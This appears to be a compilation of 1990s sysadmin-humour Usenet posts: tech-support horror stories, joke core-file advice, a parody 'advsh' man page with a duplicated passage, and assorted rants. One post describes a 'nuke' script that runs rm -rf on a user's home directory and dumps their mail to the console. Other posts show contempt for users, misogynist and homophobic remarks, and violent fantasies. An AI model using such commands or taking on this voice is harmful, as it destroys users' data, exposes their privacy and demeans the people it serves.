ending up naked on the lawn of an old folk's home in a >town you've never been to, or something similar. Nope, can't say I have. Tell us more! Have you got pictures? (Actually, I don't really lose control of myself when I get drunk. I once experimented by doing calculus problems after various doses, and was able to think rationally even after I had reached the puke stage. I even took notes of the effects at various stages, what a geek I am. I probably wouldn't drink if things like this happened to me or if I ever forgot what I did while drinking. I don't get hangovers either, in fact the only downer I find about drunkeness is the strong effect it has on me re: bedroom sports. Of course, we are all sysadmins, so that isn't even an issue for us. :-) And I do do my best coding while drunk. %% However, I find that I turn into a Shakespeare-quoting fiend when I'm about 5 drinks drunk. I also have been known to commit poetry when intoxicated, a sin I would normally never even consider. Hmmm... I must have been an English major in a previous life. Thank goodness this one is better. ;-) %% ObClueLessTechSupport: After upgrading this dec alpha to OSF/1 3.0, I find that we don't have the licensing certificates around. Call tech support. He tells me to restore the old licensing information, then let him know what it is, and he can give me a new license. So, I ask him what the name of the files that I need to restore are. Luser: lmf Me: Huh? just lmf? No path? L: Uh, lmf. It's the name of the license manager facility or something. Just run lmf. Me: You just told me to restore a file, lmf. Now you tell me that I have to run lmf? Excuse you? When I run lmf, it wants the licensing info that I *told* you I DON'T HAVE! L: Uh, please hold on, sir. I'm kinda new, and there's nobody else around. Let me see if I can find someone else to talk to you. *WHAM* *WHAM* *WHAM* *WHAM* %% I hoped the day would never come, but it did, and here is how it went: Me: "Hello, tech support...." Luzer: "Hi, I have a Macintosh and an apple imagewriter and I cannot get it to print." Me: "Ok, lets see if you have it set up right. Go into the chooser." L: "Ok" Me: "Is there an icon for an apple imagewriter there?" l: "Icon. {short pause} what's that?" Me: Bonk, whack, thud! Bonk=me dropping the phone whack=me slapping my forehead thud=my head striking the metal shelf behind me All this and it is only a Monday.... %% >>Is there any way to examine core files, and figure out exactly >>what the problem is? > >It's simple - all you need to do is print them out. >If you still cannot quite make out what the problem is, try eating the >printout. Hmmm...I recommend eating the printout first, at least until the stack of paper then resembles an apple 'core' [which, of course, is where the 'core' designation comes from]. Looking at the then partially eaten pages should provide you with some clue as to what is wrong, since the problem bytes always love to hide in the middle of the core. You'll also gain a better understanding of your program, via the digested 'good bits' of the core file. Don't expect this right away, as digestion takes some time, and the digested bits must also make thier way to the brain. Of course, this never works with lusers, since they have neither brain, nor pulse. This well explains the obscurity of this particular method examining core files, despite the obviously superior advantages. >>Is there any way to examine core files, and figure out exactly >>what the problem is? >No, no, you don't examine core files. The reason they call it a core >file is because it's what's in the middle of the program. When the >program dies, the cpu ejects the core so it won't explode, just like on >Star Trek. What you need to do is figure out which program generated >the core file, insert the core file back into the middle of the program >and run it again! Brownie+asr+monitor= one hell of a mess. Does anyone have any windex out there?? Nuts. Four or five of them. Stuck between the frame and the screen. Guess I'll have to dig them out too. And it was such a nice brownie. Just took it out of the oven. And that just made it worse. It was gooey. %% >Is there any way to examine core files, and figure out exactly >what the problem is? Yes. No. See, it's not a simple problem you have here. Well, it is a simple problem but you just can't see it because you didn't get your decoder ring from the box of Crackerjacks or the wheel from the box of Frootloops. Since you don't have those essential pieces, you will have to take the long, complicated route. Background: There's a reason the file is called a core file. It's kind of like an apple core, and just as there are tools for removing cores from apples, there are tools for removing cores from files. Like I said, you don't have those tools so, unless you have a lot of patience, you're screwed. Since I'm nice, I'll help you out. First: print the core file out on a 9-pin dot-matrix printer. This is essential because it's those dots that form each character that we need to examine. You've probably heard of bits and bytes? Parity and all that? Well, that's what those dots are[0]. They're the ACTUAL little buggers[1] of information that make up your programs. That's why you need to use the 9-pin dot-matrix printer. Now that you have the file on paper you can employ a technique similar to the one you use to see those 3D posters that are so popular in the malls. Take some duct-tape[10] and tape the paper to a wall. Now stand back about 6-9 feet (6-9 meters if you use the meter system) and take another piece of duct-tape about the length of the width of your face. using a 0.5mm mechanical pencil[11] poke two holes in the tape, about as far apart from each other as the pupils in your eyes should be. The next part is important: Place the tape across your face so that you can see out of the holes in it. DO NOT, however, place the sticky side of the tape on your face (that comes later). Duct tape has special properties (It holds the world together, remember?) that will attract the dots on the printout. Look through the holes at the paper. You should be able to focus your eyes in such a way that the problem will stand out right in front of your nose. That's good. Put your nose in the middle of where you see the problem on the paper (You'll have to walk up to the wall for this.) The sticky side of the tape will pull the problem dots(bits) out of the file. You now have what is known as a bug-free file. How do you get it back into the computer? Scan it in using a bit of OCR software and save it to a floppy in WordPerfect 5.1 for DOS format. Open the file up in Wp5.1 and select "Reveal Codes". This will reveal the codes in your file. Save them to internet, compile with FTP[100], and you will have your program. Hope this helps :-) --ed [0]Eight bits to a byte, right? Well, the dots (there are 9 per character) are the basis of all computing. Why 9 and not 8 pins/dots? the 9th pin/dot tells the other eight where to go. That's parity. Besides, you can't see the dots on a laser printer. [1]hence the computer term "bug" [10]It HAS to be duct tape nothing else will do. [11]just abnout the same size as one dot/bit [100]Or is it save with FTP and compile to internet? I always get that one confused. Yeah, I think that way's right. %% ps: What's the difference between an Englishman and an American? The Englishman thinks that 100 miles is a long way, and the American thinks that 100 years is a long time. ObASR: Not only do I have the manpage for LART(1n) in place, I've even hacked up a script called 'nuke'. Here's what this little wonder does... - Removes the user from passwd/shadow (duh!) - rm -rf ~luserhome - mv /var/mail/luser /var/tmp; cat /var/tmp/luser > /dev/console - Runs a bitty sed script on a preformatted autoreply message, and points an autoresponder at it in place of the (former) luser's email address. The actual content of said message depends on the 'nuke'-able offense... ObClue: Cheyenne Software has the most consistantly clueful tech support I've dealt with. At least for their NT products. After two upgrades to ARCserve for NT(willievergetawayfromm$products?) (neverneverneverbuyv1.0softwareevenifitsforcedonyou) the only problem I've had is hardware failure (just under warranty, fortunately.) This group is *so* cool just now. It has the glorious honour of being the *only* group I subscribe to with a kill file of 0. There *never* seem to be any Looking for cash/sex/test[1] posts here. Is everyone to scared of what a whole group of BOFH's could do to them?? ************************************************************************** * Allan Donald | Dammit Butt-head, this sig sucks. * * ceead1@cee.hw.ac.uk | Change it! Come on man! It sux. * ************************************************************************** XXX . | Kyle Hearn XXX . | Contrary to popular belief, Unix is XXX. | user friendly. kyle@intex.net .XXX | . XXX | It just happens to be selective about Happy GNU Year! . XXX | who it makes friends with. >Besides, most lusers prefer sheep. I guess this is as good an excuse as any to post the University of Auckland Engineers Hymn: Now I lay me down to sheep Pray the lord the sheep's asleep If perchance the sheep should wake Simple friendship shall I fake. I have a great-uncle (just repeat after me: "I am not responsible for relatives by marriage. I am not...") who cut off _BOTH_ of his thumbs while using a table saw. While this is pretty bad, the REALLY SCARY bit is that he's done this not once, no, ladies and gentlemen, but TWICE. Had 'em sewn back on both times. They sort of work now. On a related note, a friend of mine got a 4x4 bound up in a table saw and the kickback shot the plank right into his gonads. Ouch. -- An egg has the shortest sex-life of all: if gets laid once; it gets eaten once. It also has to come in a box with 11 others, and the only person who will sit on its face is its mother. > I now have an end user with the login name of Dicko. I don't know how _he_ > feels about it... i used to read a newsgroup (can't even remember which one now) where one of the regular posters went to a school whose naming scheme was 6 letters of last name, first initial, middle initial. the girl's name was melissa emily cummins, making her login cumminme, i shit you not. it's still my favorite of all time. she seemed to deal with it rather well, considering. --jml At our site, the standard for lusernames is 'first initial, last name (upto 8 characters)'. This can be somewhat humorous. Yesterday, I just added a lusername of 'moltman'. I haven't heard anything from her (yet)...... -- =========================================================================== William Beckner - System Manager/SysAdmin Ph : (309) 694-5513 Resource Sharing Alliance - East Peoria, IL FAX: (309) 694-5297 http://www.rsa.lib.il.us/~wbeckner/ --------------------------------------------------------------------------- "In God we trust, all others require a password" =========================================================================== Some of my users: dickk (Stutter the consonant... 'dik-k-k-k') dickhd (Seriously.) dickdraw (I think this one was my best yet) Geez, I'm a lamer. Someone kill me before I *really* get dangerous. Kill me a lot. Trevor ObOnTopic: "No, it's _Trevor_, *not* Travis, and most certainly not Trey." Fucking clueless inbreeder North Carolinians. Explain my name, and I get the patented NC "You ain't one of them queers, are ya?" looks... %% Luser, walking in the door: "Do you have any Macs?" Me: (silently points to 3 of those disgusting machines directly in front of him) Luser: "Oh - I used those yesterday, didn't realize they where Macs." Argh. This man has had a Mac on his desk for 5 years now. What did I do to deserve this? I never beat up on the smaller kids in kindergarten, (ok ok, so once I beat up Jimmy Baumgarter, but he had just killed my garter snake) and I always sent thank-you notes to my grandma for my birthday presents. Sigh. %% > Linus Torvalds, or Linus from "Peanuts"? Or are they one and the same? The same. The blanket is merely a metaphor for a firewall. The lesson for Paul to have learned through all this: Never leave home without your LART, because nowhere is safe. Tho I can't believe he didn't catch her lusername... He had the balls to call me again this afternoon. Luser: What's a good HTML editor? Me: Vi. Luser: Never heard of it. Is that shareware? Me: No. Set up some kind of Unix, or telnet somewhere. You'll find it. Luser: Do I need pkunzip? Is this a DOS program? I *AM* on Windows 95, you know. Me: No. It's a Unix program. You'd probably want to die if *you* used it. Luser: Oh. Me: Remember, down, not across. Buh-bye. *click* : Luser: Do I need pkunzip? Is this a DOS program? I *AM* on Windows95, : you know. 'on Windows 95' ? as in 'on dope' ? Right.. that's the only explanation. It's a mind altering drug. Koos. (Who managed to get Win'95 to display the familiair 'Close', 'Ignore' screens (that weren't supposed to be in win'95 ?) on a part of ITSELF this morning. C00l.) And I can type in vi faster then you can click 'new document' in a webeditor. %% I was `string`ing my SCO 3.2.4 kernel the other day, and found "Humidity warning". Uh? The earlier Linux-kernels reported "lp1 on fire" when the printer returned an unknown error-status. They later changed it to "lp1 reported invalid error status (on fire, eh?)". I wonder why.. :-) It also has the nice kernel-panics, starting with "Oops". ObASR: One of my co-workers had some luser on the phone who didn't know what a directory was. Where's the world going? >ObCoolErrorMessage: A few weeks ago, one of our central servers was > broken into and the memory ripped out. These guys didn't unplug > anything, just attacked the back of the machine with a pair of > wire cutters. The last message on the console (a VT320 which they > didn't attack) went along the lines of "WARNING: Power loss > detected". Not bad considering it isn't on an UPS! > (OK, so when he said freight-type UPS above I thought of > power-supply type UPS. So sue me.) RS/6000's do this (500 series do anyway). I think it's because the power switch is a great big white switch that sticks out at knee height when you're on the console. Software compensating for hardware that's all. %% A friend of mine has a RS/6000 that warned all users about impending doom when a brownout occured. I think most of the boxes give the power loss thingy when you white-switch them. ObASR: RS/6000's have a real nice feature: Secure mode. Switched here, reset button does nothing, and power-cycling the machine will NOT reboot it. However, the box will hang at 200 until you key-switch it to normal or service. Heck, the hard drives are powered down until it is switched into another mode. Also, the case doesn't come off unless you have the key in service mode. Basically, a great luser-resistant (I didn't say proof) box. Plus, the lock is a Medeco lock -- basically unpickable. OBASR #2: Luser: I accidently switched off the box.... #insert Admin: Guess that box is down... the keys are kept by the Dean/President/Super-admin-whatever. Luser: But I need those files now... I have to use Netscrape to view my WWW page. Admin: Guess you are out of luck. %% -- colin@inzo.co.nz | Disclaimer: Opinions expressed in this colin@kcbbs.gen.nz | post are probably not those of Internet NZ colin@utf.gen.nz | Online unless I explicitly say so. -------------------------+---+--------------------------------------- Campaigning for 4 line sigs | BAAWA, Junior Lt, 3rd Assault Div. Lynx DOESN'T try to parse fucking everything in the known universe as HTML. Lynx doesn't open up multiple network connections every time it sees an inlined image. It doesn't even SHOW inlined images! It's bloody fast. And it doesn't have half the bugs. And it doesn't assume that the person running it is the only person on the machine, and hog every cycle of CPU and disk it can find. You don't have to put "rm /u/*/.netscape-cache" (or wherever your luser accounts live) into root's crontab. You get source. It doesn't require a fucking X terminal. The lynx authors don't know better than the HTML standards people--it doesn't have . Or
. Or, god help us all, , or . Bleah. Use lynx. I hate Netscape. *grr* >Is it time for another "quote of the week" thread? Having just seen Broken Arrow last night, my contribution comes from it. It's not really a spoiler, but I'll give you a chance to bail out now :) Imagine John Travolta careening down a desert road in a hummer, and saying with clenched teeth: "Do not. Shoot. at the thermonuclear devices." TLA - Three Letter Anagram. ETLA - Extended Three Letter Anagram. %% ObASR: Some total idiot luser I had to deal with yesterday couldn't grasp the concept of clicking. "IT'S A MACINTOSH YOU TOTAL FUCKING WANKER" I wanted to admonish him, gently, but I didn't. "GO RAISE YAKS IN ALBANIA AND LEAVE THE 20TH CENTURY TO US HOMINIDS" I wanted to suggest constructively (about half an hour later) but didnt. Finally, after trying to explain to him how clicking on the Happy Little Mailbox Icon would send his mail to the recipient (hard on the heels of trying to explain why the internet wouldn't find a SNAIL MAIL ADDRESS) he said, for the umpteenth time "I don't understand, I'm new to this, explain more simply" I replied "Let's start with how to make fire." My boss was right behind me, of course. And I got chewed out. Fuck. %% [with apologies to Monty Python] In the bleak days of 1996, as the Internet languished in the doldrums of a ruinous hi-tech market, the good and loyal sysadmins of the Order of the BOFH-- a once-proud fraternal order recently fallen on hard times--strained under the yoke of their oppressive new corporate management... Pushed beyond the bounds of decent and reasonable victimization--the youthful admins take their destiny in their own hands and... MUTINY! And so--the Crimson Internet Parnership (CrIP) was launched upon the high seas of international telecommunications! There it lay, the prize they sought--the richest jewel in the crown of the CIX--a network hub swollen with multi-nationals, conglomerates, and fat, bloated Internet Service Providers. Hidden behind the faceless SPARCstation-20 firewalls, the world of telecommunications sat smug and self-satisfied as their future, in the shape of their past, SLIPped silently through the dialups--returning to wreak a terrible revenge. Adopting, adapting, and improving traditional telecommuting practice the CrIPs put into motion an audacious and totally unsuspected RFP response. And so, heartened by their initial success, the desperate and reasonably violent men and women of the Order of the BOFH battled on, until ... as the sun set slowly in the west the outstanding on their bold business venture became apparent.... The once-proud telecom giants lay in ruins--their assets stripped--their NOCs piles of smoking monitors. [They Sing] It's fun to become a net consultant and sail the net-wide IRC To find, explore the channels offshore Avoiding those we'd rather not see. It can be studly in web hacking: We'll up your charges semi-annually, It's all tax-deductible, We're fairly incorruptible Sailing on the net-wide IRC! And so, they sailed off into the channels of history--one by one the networking capitals of the world crumbling under the might of their technical acumen--or so it would have been... if certain modern theories concerning the scope of the CDA had not proved to be... disastrously wrong. --Nick (Oh shit! It's Mr. Gates.) %% >Well, you know what they say... >"Life's a bitch...Then you marry one" Followed by: "You never really know a woman until you meet her in court." <-------- Bill Beckner -----------> System Manager/SysAdmin Resource Sharing Alliance - East Peoria, IL The computer is mightier than the pen, the sword, and usually, the programmer. Hi, Mom! :) *wave* <---------------- http://www.rsa.lib.il.us/~wbeckner/ -----------------> | 41. Assilimation by the Borg. Yuck. I can picture it now... I am Luser of Borg... the assimilator doesn't wooooork . ---------========== J.D. Falk =========--------- | "I don't *care* if there's been a nuclear holocaust -- Usenet News | | hasn't been received for 36 hours and I'm moving to another ISP." | | -- Joe Chew | ----========== http://www.cybernothing.org/jdfalk/home.html ==========---- IMHO, if some newby wants a n.a.n newsfroup dictionary of net.slang put in the crontab of a net.god's backbone site, the silly JEDR should email him instead of posting the start of a flamefest I have to put in my kill file or unsubscribe to. BTW, that posting was a megabyte gilly. What a maroney! Almost half a waldron of pompousity. Imminent death of the net predicted. Perhaps he should ask his SO or MOTOS what net.slang means. Of if his MOTAS is a MOTSS, he should ask him? Or just post his question to /dev/null. BTW, IMHO if you understood this whole posting, you've been on the net far too long. BCNU :-) TTFN. -- Brad Templeton You mean not everyone talks like that? Hey! You can do that with JetDirect cards, just telnet to 'em and change their IP addresses, no password protection at all and no audit trail... (no, no, HP, fucking great idea....) %% ADVSH(1) User Commands ADVSH(1) NAME advsh - the adventure shell. DESCRIPTION You are suddenly thrown into the jungles of a UNIX file sys- tem, with only your wits to help you. You must search through torturous directories, and battle the UNIX operating system, all for no apparent goal. You start out as a novice hacker and work your way up to system god as you find danger and excitement in the land of UNIX. Each directory may contain magic items and/or files and other passageways (directories). You should get (pick up) the magic items you find, as they do many helpful things, but beware of the deadly ``Wand of Emacs.'' OPTIONS -f (fast) Start up the shell as quickly as possible, and don't source the ~/.advshrc file. MAGIC ITEMS ? (scroll) Scrolls are good for identifying things and manipulating them, but there are some fun ones in there also. Use read [scroll] to use one. ! (potion) Potions are good for increasing strength (so you can carry more) and seeing invisible things, but there are some nasties too. Use quaff [potion] to use one. / (wand) Wands are good for teleporting and executing commands, but there are also some other surprises. Use zap [wand] to use one. Use pick up [magic item] to get an item lying in a direc- tory, or drop to remove an item from your pack. Inventory lists the items you are carrying. Use allows you to access the properties of items or files. You must be carrying an item (or wielding it) to use it in any way. Magic Item Categories: No Magic - Not too incredibly useful Teleportation - Teleport (cd) to any directory. Manipulation - Execute any commands. Identification - Identify a magic item. See Invisible - See invisible ('.') files. Memory Loss - Forget what you are carrying. Blindness - You are covered by a cloak of darkness. Gain Strength - Allow you to carry more in your pack. Lose Strength - Decrease carrying ability. Enter Emacs - Throws you into an Emacs pit. SunOS 5.5 Last change: 16 April, 1984 1 ADVSH(1) User Commands ADVSH(1) Hidden Devices - Execute a command in the background. Enchant File - Make a file usable even if not owner. There is at least a potion, wand, or scroll, for each category. Some categories have two of the magic types (a few even have all three). PASSAGES [directories] You may enter any passageway that has not been locked by another player. Use look to see the contents of the room, or and adjacent one, and move to enter an adjacent direc- tory. Note: you can (logically) only move or look into an adjacent directory, you must have a scroll (or wand) of Teleportation To jump to an unconnected `room.' The only exception is that you can jump back to your home directory with home or xyzzy. FILES Files may be picked up and carried, assuming you have the strength. You may then use any file you are carrying, and you own. To make better use of a file, you should wield it and then you can hit other files, etc. You must own a file, or it must be enchanted for you to wield it. To get rid of a file, you can destroy (remove) it. MISCELANEOUS Ash parses the input lines very much like csh(1) does, but is slightly less complete. For example, the only quotes recognized are the `double-quote' marks ("). There is no `back-quote' (`) facility for in-line command execution. The csh(1) built-in commands, alias, unalias, set, and unset are also provided, and work just as they do in the shell, with one notable exception. Set syntax is "set string(s)" (note space and no equals sign). This is done to rationalize the alias/set syntax. There are, also, history substitutions, (courtesy of Wendell Baker), this history mechanism works as in csh(1) with Files may be picked up and carried, assuming you have the strength. You may then use any file you are carrying, and you own. To make better use of a file, you should wield it and then you can hit other files, etc. You must own a file, or it must be enchanted for you to wield it. To get rid of a file, you can destroy (remove) it. MISCELANEOUS Ash parses the input lines very much like csh(1) does, but is slightly less complete. For example, the only quotes recognized are the `double-quote' marks ("). There is no `back-quote' (`) facility for in-line command execution. The csh(1) built-in commands, alias, unalias, set, and unset are also provided, and work just as they do in the shell, with one notable exception. Set syntax is "set string(s)" (note space and no equals sign). This is done to rationalize the alias/set syntax. There are, also, history substitutions, (courtesy of Wendell Baker), this history mechanism works as in csh(1) with `exclam' (!) and `caret' (^) having their usual functions. The metacharacters `tilde' (~), used to represent your (or another user's) home directory; and `dollar' ($), to intro- duce a variable name, are used in the same way as in csh(1). The special meaning of any magic character may be escaped by a backslash (\). If a file named .advshrc exists in your home directory, the commands it contains will be executed before the shell starts interactive execution, (unless the -f flag has been given). Any line starting with a `hash mark' (#) is taken as a comment (ignored). This is useful for comments in your SunOS 5.5 Last change: 16 April, 1984 2 ADVSH(1) User Commands ADVSH(1) ~/.advshrc file, while setting up aliases, and variables. Note: this comment convention works only when reading the ~/.cshrc file; the `hash-marks' are taken literally when typed interactively. The source command exits, as in the shell, to execute the commands in another file as if they were typed at the terminal as input. There is also an (intentionally) limited job control facil- ity; commands can be executed in the background if one has a wand (or scroll) of Hidden Devices. For foregrounding, the `percent-sign' (%) conventions of csh(1) are followed. The help command will print out a (very) short help message. Refer to this manual page for most questions. VARIABLES There are some special shell variables used by the shell to control some of it's actions. For example, ``prompt'' is the string printed when the shell is ready for commands, and ``mail'' is used as the file to check for new mail. The variable ``name'' is used for identifying the user; use it to reinforce your ego, (e.g. ``John "Unix God" Coker''). The ``name'' variable is put into the environment as ``NAME,'' with the default being your login name. The ``history'' variable contains the number of history lines to save, (the default is 20). AUTHOR John Coker -- a real live unix god. :-) BUGS If there were any, I'd be the first to tell you ... SunOS 5.5 Last change: 16 April, 1984 3 ----- The universe is like a safe to which there is a combination -- but the combination is locked up in the safe. %% >Erm, do True Sysadmins [TM] RTFM? Or admit to doing so in public? Of course not. TS[TM]'s already know everything and have the Magic Sysadmin Touch. That's the one where the commands only work for the SA and not for the lusers. luser% ls Segmentation Fault (core dumped.) luser% whoami You do not exist. Go away. sa# ls bin/ dev/ etc/ lib/ lost+found/ sbin/ tmp/ usr/ var/ vmunix* sa# whoami god %% >CS> MindSpring account instead of waiting on hold for a support tech. I will >CS> happily give her to anyone who wants a sister and is willing to come to >CS> Georgia and pick her up (I don't think I could convince UPS to take a >CS> large, yelling box without a major bribe). Cute, great figure, long blonde >CS> hair, 27 years old, fundamentalist Christian, single, no kids. Any offers? > ^^^^^^^^^^^^^^^^^^^^^^^^ > DAMN >Was sounding like a good offer up until then. 27 is a little on the young >side (I'm 35) but the other would drive me nuts. On no, fundies are neat! They have impressionable minds which are great fun to mess with. They tend to be good at reciting dogma, but know very little about the history of their religion and church (unfortunately most of them belong to wierd splinter groups who can claim to have nothing to do with some of the worst excesses of the catholic church, but you can still get them on other things, like reciting what sounds like part of the Nicaean creed and then telling them it's actually Babylonian mythology which predates christianity by some thousands of years). Lemme at her, I guarantee that within a week she'll either (a) be an atheist or (b) be convinced that I'm the antichrist in person (or at least a close friend of his). %% ----------------------------------------------------------------------------- Leigh Metcalf | "Profanity is the one language all indica@cris.com | programmers understand." http://www.concentric.net/~indica/ | --Anon ----------------------------------------------------------------------------- %% : My dear ex-husband listens almost exclusively to country music--while I'll : listen to some of it occasionally, over all it has to be considered total : loser music. With some help from my dear little brother my daughter came : home one day at the tender age of 3 belting "Achy Breaky Heart" at the top : of her healthy lungs. Aeeiiiieeee! Hey, now, I have to protest that. I grew up in rodeo towns and hated anything to do with country until one of my best friends and I started dating. She decided to break up with me *and* nuke the friendship from orbit[1] and that's when I realized that the evil, nasty, conniving woman the country singers were either talking about or claiming to be[2] was, in fact, my recent ex. Country is, at heart, about how unfair life is. Much like being a sysadmin. It's just that they talk about pickup trucks and beer instead of CPU cycles and RAM. %% I work as a LabOp part time and I am under *no delusion* that I'm there to do anything other than: a) Make sure everything stays there that's supposed to b) Users don't actually *break* anything c) Answer the fucking phone d) Clean up, fetch paper, and otherwise do menial trivial shit I don't expect sympathy or pity, I took the fuckin' job. I don't *need* it (I can survive on my other wages just fine), but I like the extra money because it's helped get some bills out of the way and it's nice to be able to splurge occasionally. But really, I look forward to the day when I can pound the shit out of someone who's just fucked up our $25,000 computer system knowing that the worst possible thing that could happen is I'll lose a job I don't really need. %% I do apologise for this but: \begin{rant} I have just wasted {\em 2 days} trying to persuade \LaTeX2e to process German (and French and Spanish, and Portuguese and (UK) English) using the {\bf babel} package with approprate hyphenation. \par It now sort-of works but I think that all the \TeX{}ing has {\em seriously} affected my sanity. \par All I can say at this point is {\Large^H^H^H^H^H^H\HUGE^H^H^H^H^H\AbsolutelyBloodyEnormous AAAAAAAAAAAAAAAAAAAAAAAARRRRRRRRRRRRRRRRRRHHHHHHHHHHHHHHHHHHHHHH!!!!! } \end{rant} Does everybody find TeX and friends this hard to install? ------------------------------------------------------------------------- John Hardin jhardin@wolfenet.com PGP fingerprint: A3 0C 5B C2 EF 0D 2C E5 E9 BF C8 33 A7 A9 CE 76 finger for PGP key Linux: the choice of a Gnu generation ------------------------------------------------------------------------- Every 1.5 years computers double in speed... ...then Windows slows them down again... %% I have had similar problems with UPS. Unless I can't avoid it, I always ship with Fed-Ex. I have had 3 opened boxes with their contents gone, 5 late deliveries and then the one that really blew my mind. UPS Guy: Hi, here's your package, just sign here. Me: Okay, (I sign) UPS Guy: (Hands me the package) Here you go... (Starts to leave) Me: Aaahhh (Mouth drops in shock) What the hell is this???!!?? UPS Guy: (Shrugs) Happens all the time... (Opens door) Me: What?? (Mouth still in shock) UPS Guy: (Gives me a card) Call this number to complain, see yah (Leaves) Me: Aackk (Still in shock, allows UPS Guy to leave) I had ordered some RAM, 2 HD's and 2 Modems. The box was ripped and torn, paint-stained and SPEARED, with 4 Metal rods. No kidding the box had 4 steel rods SPEARED through the box and through the modem boxes inside. It was unbelievable, it looked like a porcupine. Happens all the time... I cut my hand pulling the spears out, they were sharp! UPS Complaint Guy: Hi UPS Me: Yeah I just had a package delivered that some wise guy rammed 4 steel rods through the box. UPS Complaint Guy: Excuse me.. Me: I got a box shipped through you guys and the box was speared with 4 steel rods. And I cut my hand pulling them out! UPS Complaint Guy: Hmmm, could you hold (In the background he starts to laugh) Now what was it speared with? Me: 4 steel rods and there was red paint all over the box, what are you guys trying to pull on me here! UPS Complaint Guy: Well was anything damaged? (Still snickering in the background) Me: No, thank god UPS Complaint Guy: Then I sorry I can't help you, CLICK Me: AHHHHHH!!! I finally called the guy who I bought the stuff from and he called UPS and complained about the other stolen stuff and they came to pick up the box as EVIDENCE and for the last 6 months have not returned his phone calls. As for the infamous box, UPS picked it up and it has never been seen again. I really wish I had the foresight to get pictures, it would make a great web page; Don't ship with UPS because... %% -- skeeling@mts.net Nothing personal... I feel this way about all Manitobans. ------ / ~Unix~ \ Microsoft: "One OS to rule them all, One OS to find them, | R.I.P. | @ One OS to bring them all and in the darkness bind them." | 1996 | \|/ -- apologies to tolkien +--------+ ^^^ *ALERT* potiental dick size war ahead *ALERT* >1mb, 800x600; marvy for X, elm, and news. I need another eight meg RAM >if I want to keep NS happy. I need a tape drive and new HD (to keep me >happy) more.] You need a new hard drive? Check this out: Filesystem 1024-blocks Used Available Capacity Mounted on /dev/hda2 108331 101830 907 99% / /dev/hda1 584416 577504 6912 99% /mnt/drive_c -- Scott A. Laird | "But this goes to 18,446,744,073,709,551,615" scott@laird.com | - Nigel on his new 64-bit computer %% -}> I just want rmluser. That's all I ask for. -} -}I've got a rmluser shell script - all I need to type in is 'rmlusr -}lusername', and that's it. There's no "Are you sure you want to do -}this?" prompts either - when you hit the enter key, that's the end of the -}luser! Can you send me a copy? Does it take any command line options? like, say: -w weapon -l "level" (where level depends on the weapon... for instance, rmlusr -w electricity -l 10000 specifies a 10000 amp spike, while rmlusr -w knives -l 20 sticks them with 20 knives...) %% > I have been corrected on my gross misconception of what BOFH is. Honest! I > *REALLY* didn't know so please don't flame me!! not yet at least! :) What's that? You said "Please Flame ME?" Okay, here goes: ) ( ( ( ( ) () @@ ) (( ( ( ( )( @@ ( )) ) ( ( ( ( ()( /---\ (()( ( _______ ) ) )(@ !O O! )@@ ( ) ) ) < ____) ) ( ( )( ()@ \ o / (@@@@@ ( ()( ) /--| |( o| ( ) ) ((@@(@@ !o! @@@@(@@@@@)() ( | > \___| ) ( @)@@)@ /---\-/---\ )@@@@@()( ) | /---------+ (@@@@)@@@( // /-----\ \\ @@@)@@@@@( . | | \ =========______/|@@@@@@@@@@@@@(@@@ // @ /---\ @ \\ @(@@@(@@@ . . | \ \\=========------\|@@@@@@@@@@@@@@@@@ O @@@ /-\ @@@ O @@(@@)@@ @ . | \ \----+--\-))) @@@@@@@@@@ !! @@@@ % @@@@ !! @@)@@@ .. . | |\______|_)))/ . @@@@@@ !! @@ /---\ @@ !! @@(@@@ @ . . \__========== * . @@ /MM /\O O/\ MM\ @@@@@@@. . | |-\ \ ( . @ !!! !! \-/ !! !!! @@@@@ . | | \ \ ) . . @@@@ !! !! .(. @. .. . | | \ \ ( / .( . \)). ( |O )( O! @@@@ . ) . | | / / ) ( )). (( .) !! ((( !! @@ (. ((. . . | | / / () )) )) .( ( ( ) ). ( !! )( !! ) (( )) .. | |_< / ( ) ( ( ) ) (( ) )).) ((/ | ( | \( )) ((. ). ____<_____\\__\__(___)_))_((_(____))__(_(___.oooO_____Oooo.(_(_)_)((_ %% ____________________________________________________________________________ Mark P. Beckman | I write for Mark Beckman, not GE... Techinical Systems Analyst |----------------------------------------- GE Fleet Capital Services | "I'm a guru, not a god!!! beckman@bofh.fleet.capital.ge.com | That's an entirerly different beckman@vader.sithlords.com | career path!" %% >people wondering what you DO all day and night, (mostly cause >they have no clue) lusers calling you day and night when things break, True. We catch all kinds of snide remarks. >and when things dont break (cause your doing your job) they wonder >why they pay u at all.your expected to pull their >ass out of a pit of tehir own making, at the last second, "I deleted a document in WP. Fix it." "Have you done anything since then?" "Well, yes - it's been a few days." "arg!" >and if you dont, they get pissed off at you, and if you do >they expect you to do the same thing agin and agin. I got one back once - then of course the next time it was trashed beyond recovery, and they wondered why I couldn't get it back. >and if thats not enough, sometimes they ask you to attend mtings, >that are almost entirely CONTENT FREE, your only addition to >said mtings are comments like 'you cant do that, >the network/the internet/computers/life doesnt work like that'. >(THEN they mumble something about you not being a 'team player') Or they make you attend stupid seminars on 'Working', or personality analysis in front of everyone else, or touchy-feely get-to-know-yourself courses. >THEN you have to deal with people with unough knolege to be >dangerous, but not enough of a clue to realise their limits, >and not smart enough to get them selves out of the messes >they get them selves into... Especially the ones who have SOs who use computers, or who read magazines, and decide that they HAVE to have Windows, or Win95, or some upgrade to a software package (that they CAN'T use without major hardware upgrades.). Or people of power who decide that they need 28.8 modems even when the service they use is max 9600. >I'm not bitter.... I am. There are 3 males in the office covering over 100 computers scattered over 3 offices in 3 cities. We are based in one city, so the other two constantly fuss about being 'second-class'. We catch hell for being male, are accused of having special privileges, accused of 'doing nothing'. Special Privilege : Not having to take lunch at the specified time True Life : we often skip lunch altogether, or take lunch 2 hours late, when a problem occurs and we have to fix it rather than taking lunch. Special Privilege : Getting extra days off. True Life : Came in on holiday to fix network - upgrade hardware, software, and debugging took 15 hours on a federal holiday. We still had to take an hour of vacation time to get the two days off as comp leave, and even then we had to wait and spread the time out so we had two people in the office at all times. Special Privilege : Separate offices True Life : separate offices, with different locksets, because the network server is in our section, we share our 3 offices with a central 'tech room' full of dialins, servers, and other asst machinery. We share our offices with empty boxes, spare units, metal racks of still more spare and outdated equipment, software boxes, manuals, old magazines, metal 4-wheel carts for moving said spares, and a huge free-standing safe/file cabinet that they told us to put our backup DAT tapes in. Since we don't know the combination, we never use it. Special Privilege : Better computers and monitors Real Life : Better computers and monitors Now, to compensate for all these Special Privileges, we are tasked with the following, in addition to our real jobs: Bank deposits (rotated with office) Mail pickup at the post office (rotated with office) Whatever heavy moving needs doing. (we once had to move 4 PALLETS of paper up two floors to a storage 